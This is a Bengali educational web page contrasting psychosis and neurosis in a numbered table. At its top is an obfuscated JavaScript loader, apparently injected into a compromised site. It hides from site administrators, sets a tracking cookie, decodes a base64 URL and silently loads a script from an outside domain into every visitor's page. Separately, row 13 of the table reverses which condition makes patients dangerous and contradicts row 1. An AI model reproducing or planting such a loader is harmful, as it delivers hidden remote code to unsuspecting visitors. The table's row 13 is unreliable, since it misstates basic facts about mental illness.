861
(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();
সাইকোসিস ও নিউরোসিসের পার্থক্য
সাইকোসিস ও নিউরোসিস উভয়েই মানসিক রোগ। তবে নিউরোসিস মৃদু এবং সাইকোসিস কঠিন মানসিক ব্যাধি। নিউরোসিস রোগীকে হাসপাতালে ভর্তি করার প্রয়োজন না হলেও সাইকোসিসে আক্রান্ত রোগীকে হাসপাতালে ভর্তি করতে হয়। নিম্নে সাইকোসিস ও নিউরোসিস রোগের পার্থক্য বা বৈসাদৃশ্য আলোচনা করা হলো।
|
নিউরোসিস/স্নায়ুরোগ |
সাইকোসিস/মনোবিকার |
| ১. নিউরোসিস রোগীর আচরণ সমাজের জন্য ক্ষতিকর নয়। | ১. সাইকোসিস রোগীর আচরণ সমাজের জন্য ক্ষতিকর। |
| ২. নিউরোসিস রোগীর ব্যক্তিত্বের অবনতি কম হয়। | ২. মনোবিকার রোগীর ক্ষেত্রে ব্যক্তিত্বের বেশি অবনতি ঘটে। |
| ৩. এসব রোগীর অন্তর্দৃষ্টি কিছুটা হলেও থাকে।
|
৩. সাইকোসিসে আক্রান্তরা বাস্তবের সাথে সংযোগ হারিয়ে ফেলে। |
| ৪. স্নায়ুরোগীদের চিন্তা ও অনুভূতির ক্ষেত্রে মারাত্মক কোন অস্বাভাবিকতা লক্ষ্য করা যায় না। | ৪. মনোবিকারগ্রস্তদের ও অনুভূতির ক্ষেত্রে গুরুতর অস্বাভাবিকতা পরিলক্ষিত হয়। |
| ৫. এ ধরনের রোগীদের মধ্যে ভ্রান্ত বিশ্বাস ও অলীক প্রত্যক্ষণ থাকে না। | ৫. রোগীদের মধ্যে ভ্রান্ত বিশ্বাস ও অলীক প্রত্যক্ষণ বেশি পরিমাণে থাকে। |
| ৬. রোগী তার কষ্ট ও যন্ত্রণা নিরবে সহ্য করতে পারে। | ৬. রোগী তার কষ্ট ও যন্ত্রণা সহ্য করতে পারে না পরিবারের সদস্যদের জন্যও এটি পীড়াদায়ক। |
| ৭. স্নায়ুরোগি গ্রস্তরা পরিবেশের সাথে সামঞ্জস্য বিধান করে চলতে পারে। | ৭. মনোবিকার গ্রস্তরা পরিবেশের সাথে সামঞ্জস্য বিধান করে চলতে পারে না। |
| ৮. এ ধরনের রোগীরা তাদের আচরণ সম্পর্কে সামান্য হলেও বুঝতে পারে। | ৮. রোগীরা তাদের আচরণ সম্পর্কে মোটেও বুঝতে পারে না। |
| ৯. নিউরোসিস আক্রান্তদের হাসপাতালে ভর্তি করার প্রয়োজন হয় না। | ৯. মনোবিকারে আক্রান্তদের হাসপাতালে ভর্তি করা বাধ্যতামূলক। |
| ১০. এসব রোগের চিকিৎসা জটিল নয় বিধায় বাড়িতে রেখেই এদের চিকিৎসা চালানো যায়। | ১০. এসব রোগীর চিকিৎসা জটিল বিধায় বাড়িতে এদের চিকিৎসা করা যায় না। |
| ১১. নিউরোসিস রোগীরা সচেতনভাবে প্রতীকের ব্যবহার করতে পারে। | ১১. সাইকোসিস রোগীরা সচেতনভাবে প্রতীকের ব্যবহার করতে পারে না। তারা অবচেতন বা বিজ্ঞানের প্রতীক ব্যবহার করে। |
| ১২. সাধারণত স্থান, কাল, পাত্রভেদে রোগীদের জ্ঞান থাকে। | ১২. রোগীদের স্থান, কাল, পাত্রভেদে জ্ঞান থাকে না। |
| ১৩. রোগীরা নিজেদের বা অন্যদের জন্য বিপজ্জনক হয়। | ১৩. রোগীরা নিজের বা অন্যের জন্য বিপজ্জনক হয় না। |
| ১৪. শুধুমাত্র মনোচিকিৎসায় ভালো ফল পাওয়া যায়। | ১৪. শুধু মনোচিকিৎসায় ভালো ফল পাওয়া যায় না। |
| ১৫. মাত্রাগত দিক থেকে এ ধরনের মানসিক রোগ মৃদু হয়। | ১৫. মাত্রাগত দিক থেকে এ ধরনের মানসিক রোগ তীব্র হয়। |
সাইকোসিস ও নিউরোসিসের মধ্যে উপর্যুক্ত পার্থক্যগুলো লক্ষ্য করা যায়। এসব লক্ষণ থেকে উভয়ের বৈসাদৃশ্য সম্পর্কে স্পষ্ট হওয়া যায়। তবে উভয় রোগের মধ্যে আবার যথেষ্ট সম্পর্কও বিদ্যমান রয়েছে।
| সাইকোসিস কেন হয় বা সাইকোসিস রোগের কারণ সমূহ কি কি? |

